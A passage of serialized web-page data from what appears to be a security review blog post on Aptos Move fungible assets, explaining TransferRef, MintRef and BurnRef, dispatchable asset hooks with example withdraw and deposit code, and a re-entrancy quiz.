":26,"value":67705},"On the other hand, the \"frozen\" status of a ",{"type":21,"tag":78,"props":67707,"children":67709},{"className":67708},[],[67710],{"type":26,"value":64369},{"type":26,"value":67712}," is toggled using a ",{"type":21,"tag":78,"props":67714,"children":67716},{"className":67715},[],[67717],{"type":26,"value":67718},"TransferRef",{"type":26,"value":67720},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":21,"tag":143,"props":67722,"children":67724},{"className":145,"code":67723,"language":147,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[67725],{"type":21,"tag":78,"props":67726,"children":67727},{"__ignoreMap":7},[67728,67764,67788,67815,67834],{"type":21,"tag":153,"props":67729,"children":67730},{"class":155,"line":156},[67731,67735,67739,67744,67748,67752,67756,67760],{"type":21,"tag":153,"props":67732,"children":67733},{"style":192},[67734],{"type":26,"value":63968},{"type":21,"tag":153,"props":67736,"children":67737},{"style":192},[67738],{"type":26,"value":8936},{"type":21,"tag":153,"props":67740,"children":67741},{"style":192},[67742],{"type":26,"value":67743}," set_frozen_flag",{"type":21,"tag":153,"props":67745,"children":67746},{"style":160},[67747],{"type":26,"value":8537},{"type":21,"tag":153,"props":67749,"children":67750},{"style":214},[67751],{"type":26,"value":8717},{"type":21,"tag":153,"props":67753,"children":67754},{"style":198},[67755],{"type":26,"value":201},{"type":21,"tag":153,"props":67757,"children":67758},{"style":192},[67759],{"type":26,"value":8661},{"type":21,"tag":153,"props":67761,"children":67762},{"style":160},[67763],{"type":26,"value":9318},{"type":21,"tag":153,"props":67765,"children":67766},{"class":155,"line":166},[67767,67772,67776,67780,67784],{"type":21,"tag":153,"props":67768,"children":67769},{"style":170},[67770],{"type":26,"value":67771},"    ref",{"type":21,"tag":153,"props":67773,"children":67774},{"style":198},[67775],{"type":26,"value":201},{"type":21,"tag":153,"props":67777,"children":67778},{"style":198},[67779],{"type":26,"value":206},{"type":21,"tag":153,"props":67781,"children":67782},{"style":214},[67783],{"type":26,"value":67718},{"type":21,"tag":153,"props":67785,"children":67786},{"style":160},[67787],{"type":26,"value":792},{"type":21,"tag":153,"props":67789,"children":67790},{"class":155,"line":225},[67791,67795,67799,67803,67807,67811],{"type":21,"tag":153,"props":67792,"children":67793},{"style":192},[67794],{"type":26,"value":32108},{"type":21,"tag":153,"props":67796,"children":67797},{"style":198},[67798],{"type":26,"value":201},{"type":21,"tag":153,"props":67800,"children":67801},{"style":214},[67802],{"type":26,"value":63854},{"type":21,"tag":153,"props":67804,"children":67805},{"style":160},[67806],{"type":26,"value":8537},{"type":21,"tag":153,"props":67808,"children":67809},{"style":214},[67810],{"type":26,"value":8717},{"type":21,"tag":153,"props":67812,"children":67813},{"style":160},[67814],{"type":26,"value":8867},{"type":21,"tag":153,"props":67816,"children":67817},{"class":155,"line":239},[67818,67822,67826,67830],{"type":21,"tag":153,"props":67819,"children":67820},{"style":192},[67821],{"type":26,"value":63506},{"type":21,"tag":153,"props":67823,"children":67824},{"style":198},[67825],{"type":26,"value":201},{"type":21,"tag":153,"props":67827,"children":67828},{"style":214},[67829],{"type":26,"value":14769},{"type":21,"tag":153,"props":67831,"children":67832},{"style":160},[67833],{"type":26,"value":792},{"type":21,"tag":153,"props":67835,"children":67836},{"class":155,"line":382},[67837],{"type":21,"tag":153,"props":67838,"children":67839},{"style":160},[67840],{"type":26,"value":5909},{"type":21,"tag":22,"props":67842,"children":67843},{},[67844,67845,67850,67851,67856],{"type":26,"value":19311},{"type":21,"tag":78,"props":67846,"children":67848},{"className":67847},[],[67849],{"type":26,"value":51141},{"type":26,"value":9187},{"type":21,"tag":78,"props":67852,"children":67854},{"className":67853},[],[67855],{"type":26,"value":67718},{"type":26,"value":67857}," is used to transfer object ownership:",{"type":21,"tag":143,"props":67859,"children":67861},{"className":145,"code":67860,"language":147,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[67862],{"type":21,"tag":78,"props":67863,"children":67864},{"__ignoreMap":7},[67865,67873,67906,67925],{"type":21,"tag":153,"props":67866,"children":67867},{"class":155,"line":156},[67868],{"type":21,"tag":153,"props":67869,"children":67870},{"style":3050},[67871],{"type":26,"value":67872},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":21,"tag":153,"props":67874,"children":67875},{"class":155,"line":166},[67876,67880,67885,67889,67894,67898,67902],{"type":21,"tag":153,"props":67877,"children":67878},{"style":170},[67879],{"type":26,"value":12123},{"type":21,"tag":153,"props":67881,"children":67882},{"style":214},[67883],{"type":26,"value":67884}," TransferRef",{"type":21,"tag":153,"props":67886,"children":67887},{"style":192},[67888],{"type":26,"value":12132},{"type":21,"tag":153,"props":67890,"children":67891},{"style":192},[67892],{"type":26,"value":67893}," drop",{"type":21,"tag":153,"props":67895,"children":67896},{"style":160},[67897],{"type":26,"value":1670},{"type":21,"tag":153,"props":67899,"children":67900},{"style":192},[67901],{"type":26,"value":8670},{"type":21,"tag":153,"props":67903,"children":67904},{"style":160},[67905],{"type":26,"value":236},{"type":21,"tag":153,"props":67907,"children":67908},{"class":155,"line":225},[67909,67913,67917,67921],{"type":21,"tag":153,"props":67910,"children":67911},{"style":170},[67912],{"type":26,"value":23480},{"type":21,"tag":153,"props":67914,"children":67915},{"style":198},[67916],{"type":26,"value":201},{"type":21,"tag":153,"props":67918,"children":67919},{"style":192},[67920],{"type":26,"value":8979},{"type":21,"tag":153,"props":67922,"children":67923},{"style":160},[67924],{"type":26,"value":792},{"type":21,"tag":153,"props":67926,"children":67927},{"class":155,"line":239},[67928],{"type":21,"tag":153,"props":67929,"children":67930},{"style":160},[67931],{"type":26,"value":548},{"type":21,"tag":22,"props":67933,"children":67934},{},[67935,67937,67942],{"type":26,"value":67936},"While the fungible asset's ",{"type":21,"tag":78,"props":67938,"children":67940},{"className":67939},[],[67941],{"type":26,"value":67718},{"type":26,"value":67943}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":21,"tag":143,"props":67945,"children":67947},{"className":145,"code":67946,"language":147,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[67948],{"type":21,"tag":78,"props":67949,"children":67950},{"__ignoreMap":7},[67951,67959,67967,67998,68025],{"type":21,"tag":153,"props":67952,"children":67953},{"class":155,"line":156},[67954],{"type":21,"tag":153,"props":67955,"children":67956},{"style":3050},[67957],{"type":26,"value":67958},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":21,"tag":153,"props":67960,"children":67961},{"class":155,"line":166},[67962],{"type":21,"tag":153,"props":67963,"children":67964},{"style":3050},[67965],{"type":26,"value":67966},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":21,"tag":153,"props":67968,"children":67969},{"class":155,"line":225},[67970,67974,67978,67982,67986,67990,67994],{"type":21,"tag":153,"props":67971,"children":67972},{"style":170},[67973],{"type":26,"value":12123},{"type":21,"tag":153,"props":67975,"children":67976},{"style":214},[67977],{"type":26,"value":67884},{"type":21,"tag":153,"props":67979,"children":67980},{"style":192},[67981],{"type":26,"value":12132},{"type":21,"tag":153,"props":67983,"children":67984},{"style":192},[67985],{"type":26,"value":67893},{"type":21,"tag":153,"props":67987,"children":67988},{"style":160},[67989],{"type":26,"value":1670},{"type":21,"tag":153,"props":67991,"children":67992},{"style":192},[67993],{"type":26,"value":8670},{"type":21,"tag":153,"props":67995,"children":67996},{"style":160},[67997],{"type":26,"value":236},{"type":21,"tag":153,"props":67999,"children":68000},{"class":155,"line":239},[68001,68005,68009,68013,68017,68021],{"type":21,"tag":153,"props":68002,"children":68003},{"style":192},[68004],{"type":26,"value":63845},{"type":21,"tag":153,"props":68006,"children":68007},{"style":198},[68008],{"type":26,"value":201},{"type":21,"tag":153,"props":68010,"children":68011},{"style":214},[68012],{"type":26,"value":63854},{"type":21,"tag":153,"props":68014,"children":68015},{"style":160},[68016],{"type":26,"value":8537},{"type":21,"tag":153,"props":68018,"children":68019},{"style":214},[68020],{"type":26,"value":63863},{"type":21,"tag":153,"props":68022,"children":68023},{"style":160},[68024],{"type":26,"value":4308},{"type":21,"tag":153,"props":68026,"children":68027},{"class":155,"line":382},[68028],{"type":21,"tag":153,"props":68029,"children":68030},{"style":160},[68031],{"type":26,"value":548},{"type":21,"tag":22,"props":68033,"children":68034},{},[68035,68037,68043,68045,68051],{"type":26,"value":68036},"Additionally, there are fungible asset-specific references such as ",{"type":21,"tag":78,"props":68038,"children":68040},{"className":68039},[],[68041],{"type":26,"value":68042},"MintRef",{"type":26,"value":68044}," for minting and ",{"type":21,"tag":78,"props":68046,"children":68048},{"className":68047},[],[68049],{"type":26,"value":68050},"BurnRef",{"type":26,"value":68052}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":21,"tag":66,"props":68054,"children":68056},{"id":68055},"dispatchable-fungible-assets",[68057],{"type":26,"value":68058},"Dispatchable fungible assets",{"type":21,"tag":22,"props":68060,"children":68061},{},[68062],{"type":26,"value":68063},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":21,"tag":22,"props":68065,"children":68066},{},[68067],{"type":26,"value":68068},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":21,"tag":68070,"props":68071,"children":68072},"warning",{},[68073],{"type":21,"tag":22,"props":68074,"children":68075},{},[68076,68078,68084],{"type":26,"value":68077},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":21,"tag":78,"props":68079,"children":68081},{"className":68080},[],[68082],{"type":26,"value":68083},"transfer_assert_minimum_deposit",{"type":26,"value":68085}," that can help mitigate such risks.",{"type":21,"tag":22,"props":68087,"children":68088},{},[68089,68091,68096,68098,68105],{"type":26,"value":68090},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":21,"tag":78,"props":68092,"children":68094},{"className":68093},[],[68095],{"type":26,"value":63968},{"type":26,"value":68097}," to ensure ",{"type":21,"tag":29,"props":68099,"children":68102},{"href":68100,"rel":68101},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[33],[68103],{"type":26,"value":68104},"their signature remains immutable",{"type":26,"value":68106},". An example implementation might look like this:",{"type":21,"tag":143,"props":68108,"children":68110},{"className":145,"code":68109,"language":147,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[68111],{"type":21,"tag":78,"props":68112,"children":68113},{"__ignoreMap":7},[68114,68150,68177,68196,68220,68239,68247,68293,68300,68307,68343,68370,68390,68413,68420,68427,68471],{"type":21,"tag":153,"props":68115,"children":68116},{"class":155,"line":156},[68117,68121,68125,68130,68134,68138,68142,68146],{"type":21,"tag":153,"props":68118,"children":68119},{"style":192},[68120],{"type":26,"value":63968},{"type":21,"tag":153,"props":68122,"children":68123},{"style":192},[68124],{"type":26,"value":8936},{"type":21,"tag":153,"props":68126,"children":68127},{"style":192},[68128],{"type":26,"value":68129}," withdraw_hook",{"type":21,"tag":153,"props":68131,"children":68132},{"style":160},[68133],{"type":26,"value":8537},{"type":21,"tag":153,"props":68135,"children":68136},{"style":214},[68137],{"type":26,"value":8717},{"type":21,"tag":153,"props":68139,"children":68140},{"style":198},[68141],{"type":26,"value":201},{"type":21,"tag":153,"props":68143,"children":68144},{"style":192},[68145],{"type":26,"value":8661},{"type":21,"tag":153,"props":68147,"children":68148},{"style":160},[68149],{"type":26,"value":9318},{"type":21,"tag":153,"props":68151,"children":68152},{"class":155,"line":166},[68153,68157,68161,68165,68169,68173],{"type":21,"tag":153,"props":68154,"children":68155},{"style":192},[68156],{"type":26,"value":32108},{"type":21,"tag":153,"props":68158,"children":68159},{"style":198},[68160],{"type":26,"value":201},{"type":21,"tag":153,"props":68162,"children":68163},{"style":214},[68164],{"type":26,"value":63854},{"type":21,"tag":153,"props":68166,"children":68167},{"style":160},[68168],{"type":26,"value":8537},{"type":21,"tag":153,"props":68170,"children":68171},{"style":214},[68172],{"type":26,"value":8717},{"type":21,"tag":153,"props":68174,"children":68175},{"style":160},[68176],{"type":26,"value":8867},{"type":21,"tag":153,"props":68178,"children":68179},{"class":155,"line":225},[68180,68184,68188,68192],{"type":21,"tag":153,"props":68181,"children":68182},{"style":192},[68183],{"type":26,"value":63875},{"type":21,"tag":153,"props":68185,"children":68186},{"style":198},[68187],{"type":26,"value":201},{"type":21,"tag":153,"props":68189,"children":68190},{"style":214},[68191],{"type":26,"value":323},{"type":21,"tag":153,"props":68193,"children":68194},{"style":160},[68195],{"type":26,"value":792},{"type":21,"tag":153,"props":68197,"children":68198},{"class":155,"line":239},[68199,68204,68208,68212,68216],{"type":21,"tag":153,"props":68200,"children":68201},{"style":192},[68202],{"type":26,"value":68203},"    transfer_ref",{"type":21,"tag":153,"props":68205,"children":68206},{"style":198},[68207],{"type":26,"value":201},{"type":21,"tag":153,"props":68209,"children":68210},{"style":198},[68211],{"type":26,"value":206},{"type":21,"tag":153,"props":68213,"children":68214},{"style":214},[68215],{"type":26,"value":67718},{"type":21,"tag":153,"props":68217,"children":68218},{"style":160},[68219],{"type":26,"value":792},{"type":21,"tag":153,"props":68221,"children":68222},{"class":155,"line":382},[68223,68227,68231,68235],{"type":21,"tag":153,"props":68224,"children":68225},{"style":160},[68226],{"type":26,"value":2071},{"type":21,"tag":153,"props":68228,"children":68229},{"style":198},[68230],{"type":26,"value":201},{"type":21,"tag":153,"props":68232,"children":68233},{"style":214},[68234],{"type":26,"value":63833},{"type":21,"tag":153,"props":68236,"children":68237},{"style":160},[68238],{"type":26,"value":236},{"type":21,"tag":153,"props":68240,"children":68241},{"class":155,"line":501},[68242],{"type":21,"tag":153,"props":68243,"children":68244},{"style":3050},[68245],{"type":26,"value":68246},"    //check paused, gather fees etc.\n",{"type":21,"tag":153,"props":68248,"children":68249},{"class":155,"line":533},[68250,68255,68259,68264,68268,68273,68277,68281,68285,68289],{"type":21,"tag":153,"props":68251,"children":68252},{"style":160},[68253],{"type":26,"value":68254},"    fungible_asset",{"type":21,"tag":153,"props":68256,"children":68257},{"style":198},[68258],{"type":26,"value":265},{"type":21,"tag":153,"props":68260,"children":68261},{"style":181},[68262],{"type":26,"value":68263},"withdraw_with_ref",{"type":21,"tag":153,"props":68265,"children":68266},{"style":160},[68267],{"type":26,"value":189},{"type":21,"tag":153,"props":68269,"children":68270},{"style":192},[68271],{"type":26,"value":68272},"transfer_ref",{"type":21,"tag":153,"props":68274,"children":68275},{"style":160},[68276],{"type":26,"value":1670},{"type":21,"tag":153,"props":68278,"children":68279},{"style":192},[68280],{"type":26,"value":8670},{"type":21,"tag":153,"props":68282,"children":68283},{"style":160},[68284],{"type":26,"value":1670},{"type":21,"tag":153,"props":68286,"children":68287},{"style":192},[68288],{"type":26,"value":23000},{"type":21,"tag":153,"props":68290,"children":68291},{"style":160},[68292],{"type":26,"value":5909},{"type":21,"tag":153,"props":68294,"children":68295},{"class":155,"line":542},[68296],{"type":21,"tag":153,"props":68297,"children":68298},{"style":160},[68299],{"type":26,"value":548},{"type":21,"tag":153,"props":68301,"children":68302},{"class":155,"line":762},[68303],{"type":21,"tag":153,"props":68304,"children":68305},{"emptyLinePlaceholder":16},[68306],{"type":26,"value":759},{"type":21,"tag":153,"props":68308,"children":68309},{"class":155,"line":776},[68310,68314,68318,68323,68327,68331,68335,68339],{"type":21,"tag":153,"props":68311,"children":68312},{"style":192},[68313],{"type":26,"value":63968},{"type":21,"tag":153,"props":68315,"children":68316},{"style":192},[68317],{"type":26,"value":8936},{"type":21,"tag":153,"props":68319,"children":68320},{"style":192},[68321],{"type":26,"value":68322}," deposit_hook",{"type":21,"tag":153,"props":68324,"children":68325},{"style":160},[68326],{"type":26,"value":8537},{"type":21,"tag":153,"props":68328,"children":68329},{"style":214},[68330],{"type":26,"value":8717},{"type":21,"tag":153,"props":68332,"children":68333},{"style":198},[68334],{"type":26,"value":201},{"type":21,"tag":153,"props":68336,"children":68337},{"style":192},[68338],{"type":26,"value":8661},{"type":21,"tag":153,"props":68340,"children":68341},{"style":160},[68342],{"type":26,"value":9318},{"type":21,"tag":153,"props":68344,"children":68345},{"class":155,"line":795},[68346,68350,68354,68358,68362,68366],{"type":21,"tag":153,"props":68347,"children":68348},{"style":192},[68349],{"type":26,"value":32108},{"type":21,"tag":153,"props":68351,"children":68352},{"style":198},[68353],{"type":26,"value":201},{"type":21,"tag":153,"props":68355,"children":68356},{"style":214},[68357],{"type":26,"value":63854},{"type":21,"tag":153,"props":68359,"children":68360},{"style":160},[68361],{"type":26,"value":8537},{"type":21,"tag":153,"props":68363,"children":68364},{"style":214},[68365],{"type":26,"value":8717},{"type":21,"tag":153,"props":68367,"children":68368},{"style":160},[68369],{"type":26,"value":8867},{"type":21,"tag":153,"props":68371,"children":68372},{"class":155,"line":808},[68373,68378,68382,68386],{"type":21,"tag":153,"props":68374,"children":68375},{"style":192},[68376],{"type":26,"value":68377},"    fa",{"type":21,"tag":153,"props":68379,"children":68380},{"style":198},[68381],{"type":26,"value":201},{"type":21,"tag":153,"props":68383,"children":68384},{"style":214},[68385],{"type":26,"value":63833},{"type":21,"tag":153,"props":68387,"children":68388},{"style":160},[68389],{"type":26,"value":792},{"type":21,"tag":153,"props":68391,"children":68392},{"class":155,"line":820},[68393,68397,68401,68405,68409],{"type":21,"tag":153,"props":68394,"children":68395},{"style":192},[68396],{"type":26,"value":68203},{"type":21,"tag":153,"props":68398,"children":68399},{"style":198},[68400],{"type":26,"value":201},{"type":21,"tag":153,"props":68402,"children":68403},{"style":198},[68404],{"type":26,"value":206},{"type":21,"tag":153,"props":68406,"children":68407},{"style":214},[68408],{"type":26,"value":67718},{"type":21,"tag":153,"props":68410,"children":68411},{"style":160},[68412],{"type":26,"value":792},{"type":21,"tag":153,"props":68414,"children":68415},{"class":155,"line":842},[68416],{"type":21,"tag":153,"props":68417,"children":68418},{"style":160},[68419],{"type":26,"value":2659},{"type":21,"tag":153,"props":68421,"children":68422},{"class":155,"line":3204},[68423],{"type":21,"tag":153,"props":68424,"children":68425},{"style":3050},[68426],{"type":26,"value":68246},{"type":21,"tag":153,"props":68428,"children":68429},{"class":155,"line":3230},[68430,68434,68438,68443,68447,68451,68455,68459,68463,68467],{"type":21,"tag":153,"props":68431,"children":68432},{"style":160},[68433],{"type":26,"value":68254},{"type":21,"tag":153,"props":68435,"children":68436},{"style":198},[68437],{"type":26,"value":265},{"type":21,"tag":153,"props":68439,"children":68440},{"style":181},[68441],{"type":26,"value":68442},"deposit_with_ref",{"type":21,"tag":153,"props":68444,"children":68445},{"style":160},[68446],{"type":26,"value":189},{"type":21,"tag":153,"props":68448,"children":68449},{"style":192},[68450],{"type":26,"value":68272},{"type":21,"tag":153,"props":68452,"children":68453},{"style":160},[68454],{"type":26,"value":1670},{"type":21,"tag":153,"props":68456,"children":68457},{"style":192},[68458],{"type":26,"value":8670},{"type":21,"tag":153,"props":68460,"children":68461},{"style":160},[68462],{"type":26,"value":1670},{"type":21,"tag":153,"props":68464,"children":68465},{"style":192},[68466],{"type":26,"value":64026},{"type":21,"tag":153,"props":68468,"children":68469},{"style":160},[68470],{"type":26,"value":530},{"type":21,"tag":153,"props":68472,"children":68473},{"class":155,"line":3239},[68474],{"type":21,"tag":153,"props":68475,"children":68476},{"style":160},[68477],{"type":26,"value":548},{"type":21,"tag":68479,"props":68480,"children":68481},"question",{},[68482,68509],{"type":21,"tag":22,"props":68483,"children":68484},{},[68485,68487,68493,68495,68501,68502,68508],{"type":26,"value":68486},"Why hook functions rely on ",{"type":21,"tag":78,"props":68488,"children":68490},{"className":68489},[],[68491],{"type":26,"value":68492},"*_with_ref",{"type":26,"value":68494}," calls? What would happen if the hook function called ",{"type":21,"tag":78,"props":68496,"children":68498},{"className":68497},[],[68499],{"type":26,"value":68500},"dispatchable_fungible_asset::withdraw",{"type":26,"value":19491},{"type":21,"tag":78,"props":68503,"children":68505},{"className":68504},[],[68506],{"type":26,"value":68507},"fungible_asset::withdraw_with_ref",{"type":26,"value":2022},{"type":21,"tag":68510,"props":68511,"children":68512},"template",{"v-slot:answer-0":7},[68513,68525],{"type":21,"tag":22,"props":68514,"children":68515},{},[68516,68518,68523],{"type":26,"value":68517},"A1: Hook functions rely on ",{"type":21,"tag":78,"props":68519,"children":68521},{"className":68520},[],[68522],{"type":26,"value":68492},{"type":26,"value":68524}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":21,"tag":22,"props":68526,"children":68527},{},[68528,68530,68535],{"type":26,"value":68529},"A2: A ",{"type":21,"tag":78,"props":68531,"children":68533},{"className":68532},[],[68534],{"type":26,"value":68500},{"type":26,"value":68536}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":21,"tag":22,"props":68538,"children":68539},{},[68540],{"type":26,"value":68541},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":21,"tag":143,"props":68543,"children":68545},{"className":145,"code":68544,"language":147,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[68546],{"type":21,"tag":78,"props":68547,"children":68548},{"__ignoreMap":7},[68549,68644,68664,68679,68699,68742,68757,68764,68771,68890,68909,68924,68943,68986],{"type":21,"tag":153,"props":68550,"children":68551},{"class":155,"line":156},[68552,68556,68560,68564,68568,68572,68576,68580,68584,68588,68592,68596,68600,68604,68608,68612,68616,68620,68624,68628,68632,68636,68640],{"type":21,"tag":153,"props":68553,"children":68554},{"style":192},[68555],{"type":26,"value":63968},{"type":21,"tag":153,"props":68557,"children":68558},{"style":192},[68559],{"type":26,"value":8936},{"type":21,"tag":153,"props":68561,"children":68562},{"style":192},[68563],{"type":26,"value":63977},{"type":21,"tag":153,"props":68565,"children":68566},{"style":160},[68567],{"type":26,"value":8537},{"type":21,"tag":153,"props":68569,"children":68570},{"style":214},[68571],{"type":26,"value":8717},{"type":21,"tag":153,"props":68573,"children":68574},{"style":198},[68575],{"type":26,"value":201},{"type":21,"tag":153,"props":68577,"children":68578},{"style":192},[68579],{"type":26,"value":8661},{"type":21,"tag":153,"props":68581,"children":68582},{"style":160},[68583],{"type":26,"value":328},{"type":21,"tag":153,"props":68585,"children":68586},{"style":192},[68587],{"type":26,"value":8670},{"type":21,"tag":153,"props":68589,"children":68590},{"style":198},[68591],{"type":26,"value":201},{"type":21,"tag":153,"props":68593,"children":68594},{"style":214},[68595],{"type":26,"value":63854},{"type":21,"tag":153,"props":68597,"children":68598},{"style":160},[68599],{"type":26,"value":8537},{"type":21,"tag":153,"props":68601,"children":68602},{"style":214},[68603],{"type":26,"value":8717},{"type":21,"tag":153,"props":68605,"children":68606},{"style":160},[68607],{"type":26,"value":9360},{"type":21,"tag":153,"props":68609,"children":68610},{"style":192},[68611],{"type":26,"value":64026},{"type":21,"tag":153,"props":68613,"children":68614},{"style":198},[68615],{"type":26,"value":201},{"type":21,"tag":153,"props":68617,"children":68618},{"style":214},[68619],{"type":26,"value":63833},{"type":21,"tag":153,"props":68621,"children":68622},{"style":160},[68623],{"type":26,"value":1670},{"type":21,"tag":153,"props":68625,"children":68626},{"style":192},[68627],{"type":26,"value":68272},{"type":21,"tag":153,"props":68629,"children":68630},{"style":198},[68631],{"type":26,"value":201},{"type":21,"tag":153,"props":68633,"children":68634},{"style":198},[68635],{"type":26,"value":206},{"type":21,"tag":153,"props":68637,"children":68638},{"style":214},[68639],{"type":26,"value":67718},{"type":21,"tag":153,"props":68641,"children":68642},{"style":160},[68643],{"type":26,"value":2659},{"type":21,"tag":153,"props":68645,"children":68646},{"class":155,"line":166},[68647,68652,68656,68660],{"type":21,"tag":153,"props":68648,"children":68649},{"style":181},[68650],{"type":26,"value":68651},"    assert_withdraw_flag",{"type":21,"tag":153,"props":68653,"children":68654},{"style":160},[68655],{"type":26,"value":189},{"type":21,"tag":153,"props":68657,"children":68658},{"style":170},[68659],{"type":26,"value":3294},{"type":21,"tag":153,"props":68661,"children":68662},{"style":160},[68663],{"type":26,"value":530},{"type":21,"tag":153,"props":68665,"children":68666},{"class":155,"line":225},[68667,68671,68675],{"type":21,"tag":153,"props":68668,"children":68669},{"style":160},[68670],{"type":26,"value":65011},{"type":21,"tag":153,"props":68672,"children":68673},{"style":198},[68674],{"type":26,"value":12313},{"type":21,"tag":153,"props":68676,"children":68677},{"style":160},[68678],{"type":26,"value":2941},{"type":21,"tag":153,"props":68680,"children":68681},{"class":155,"line":239},[68682,68687,68691,68695],{"type":21,"tag":153,"props":68683,"children":68684},{"style":181},[68685],{"type":26,"value":68686},"    set_withdraw_flag",{"type":21,"tag":153,"props":68688,"children":68689},{"style":160},[68690],{"type":26,"value":189},{"type":21,"tag":153,"props":68692,"children":68693},{"style":170},[68694],{"type":26,"value":10901},{"type":21,"tag":153,"props":68696,"children":68697},{"style":160},[68698],{"type":26,"value":530},{"type":21,"tag":153,"props":68700,"children":68701},{"class":155,"line":382},[68702,68706,68710,68714,68718,68722,68726,68730,68734,68738],{"type":21,"tag":153,"props":68703,"children":68704},{"style":160},[68705],{"type":26,"value":68254},{"type":21,"tag":153,"props":68707,"children":68708},{"style":198},[68709],{"type":26,"value":265},{"type":21,"tag":153,"props":68711,"children":68712},{"style":181},[68713],{"type":26,"value":68442},{"type":21,"tag":153,"props":68715,"children":68716},{"style":160},[68717],{"type":26,"value":189},{"type":21,"tag":153,"props":68719,"children":68720},{"style":192},[68721],{"type":26,"value":68272},{"type":21,"tag":153,"props":68723,"children":68724},{"style":160},[68725],{"type":26,"value":1670},{"type":21,"tag":153,"props":68727,"children":68728},{"style":192},[68729],{"type":26,"value":8670},{"type":21,"tag":153,"props":68731,"children":68732},{"style":160},[68733],{"type":26,"value":1670},{"type":21,"tag":153,"props":68735,"children":68736},{"style":192},[68737],{"type":26,"value":23000},{"type":21,"tag":153,"props":68739,"children":68740},{"style":160},[68741],{"type":26,"value":530},{"type":21,"tag":153,"props":68743,"children":68744},{"class":155,"line":501},[68745,68749,68753],{"type":21,"tag":153,"props":68746,"children":68747},{"style":160},[68748],{"type":26,"value":65011},{"type":21,"tag":153,"props":68750,"children":68751},{"style":198},[68752],{"type":26,"value":12313},{"type":21,"tag":153,"props":68754,"children":68755},{"style":160},[68756],{"type":26,"value":2941},{"type":21,"tag":153,"props":68758,"children":68759},{"class":155,"line":533},[68760],{"type":21,"tag":153,"props":68761,"children":68762},{"style":160},[68763],{"type":26,"value":539},{"type":21,"tag":153,"props":68765,"children":68766},{"class":155,"line":542},[68767],{"type":21,"tag":153,"props":68768,"children":68769},{"emptyLinePlaceholder":16},[68770],{"type":26,"value":759},{"type":21,"tag":153,"props":68772,"children":68773},{"class":155,"line":762},[68774,68778,68782,68786,68790,68794,68798,68802,68806,68810,68814,68818,68822,68826,68830,68834,68838,68842,68846,68850,68854,68858,68862,68866,68870,68874,68878,68882,68886],{"type":21,"tag":153,"props":68775,"children":68776},{"style":192},[68777],{"type":26,"value":63968},{"type":21,"tag":153,"props":68779,"children":68780},{"style":192},[68781],{"type":26,"value":8936},{"type":21,"tag":153,"props":68783,"children":68784},{"style":192},[68785],{"type":26,"value":22966},{"type":21,"tag":153,"props":68787,"children":68788},{"style":160},[68789],{"type":26,"value":8537},{"type":21,"tag":153,"props":68791,"children":68792},{"style":214},[68793],{"type":26,"value":8717},{"type":21,"tag":153,"props":68795,"children":68796},{"style":198},[68797],{"type":26,"value":201},{"type":21,"tag":153,"props":68799,"children":68800},{"style":192},[68801],{"type":26,"value":8661},{"type":21,"tag":153,"props":68803,"children":68804},{"style":160},[68805],{"type":26,"value":328},{"type":21,"tag":153,"props":68807,"children":68808},{"style":192},[68809],{"type":26,"value":8670},{"type":21,"tag":153,"props":68811,"children":68812},{"style":198},[68813],{"type":26,"value":201},{"type":21,"tag":153,"props":68815,"children":68816},{"style":214},[68817],{"type":26,"value":63854},{"type":21,"tag":153,"props":68819,"children":68820},{"style":160},[68821],{"type":26,"value":8537},{"type":21,"tag":153,"props":68823,"children":68824},{"style":214},[68825],{"type":26,"value":8717},{"type":21,"tag":153,"props":68827,"children":68828},{"style":160},[68829],{"type":26,"value":9360},{"type":21,"tag":153,"props":68831,"children":68832},{"style":192},[68833],{"type":26,"value":23000},{"type":21,"tag":153,"props":68835,"children":68836},{"style":198},[68837],{"type":26,"value":201},{"type":21,"tag":153,"props":68839,"children":68840},{"style":214}